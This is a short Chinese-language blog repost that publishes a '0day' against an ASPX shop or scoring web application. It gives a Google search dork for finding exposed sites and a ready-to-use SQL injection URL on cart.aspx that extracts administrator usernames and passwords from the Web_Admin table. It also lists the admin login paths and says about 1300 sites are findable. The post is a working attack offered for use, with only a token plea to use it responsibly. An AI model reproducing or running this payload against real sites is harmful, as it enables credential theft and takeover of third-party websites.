首页 > 其他 > 详细

0DAY漏洞之谷歌搜索 -中国寒龙网病毒联盟

时间:2014-05-07 13:10:21      阅读:443      评论:0      收藏:0      [点我收藏+]

这里公布一个关于aspx网站程序的oday方法很简单。直接爆出管理密码。

也是利用注入漏洞。

利用代码

谷歌搜索关键字:inurl:scoreindex.aspx

 

  1. cart.aspx?act=buy&id=1 and (SelectTop1char(124)%2BisNull(cast([Name] as varchar(8000)),char(32))%2Bchar(124)%2BisNull(cast([Pass] as varchar(8000)),char(32))%2Bchar(124)From(SelectTop4[Name],[Pass]From[Web_Admin]Where1=1Order by [Name],[Pass]) T Order by [Name] desc,[Pass] desc)>0--

后台地址:/weblogin/Login.aspx

后台地址/weblogin/index.aspx

这个oday出来也有一段时间了。搜索一下也有1300多个搜索结果,公布漏洞的目标不是为了让大家去搞破坏。希望大家合理利用。

0DAY漏洞之谷歌搜索 -中国寒龙网病毒联盟,布布扣,bubuko.com

0DAY漏洞之谷歌搜索 -中国寒龙网病毒联盟

原文:http://www.cnblogs.com/Hkadmin/p/3712783.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!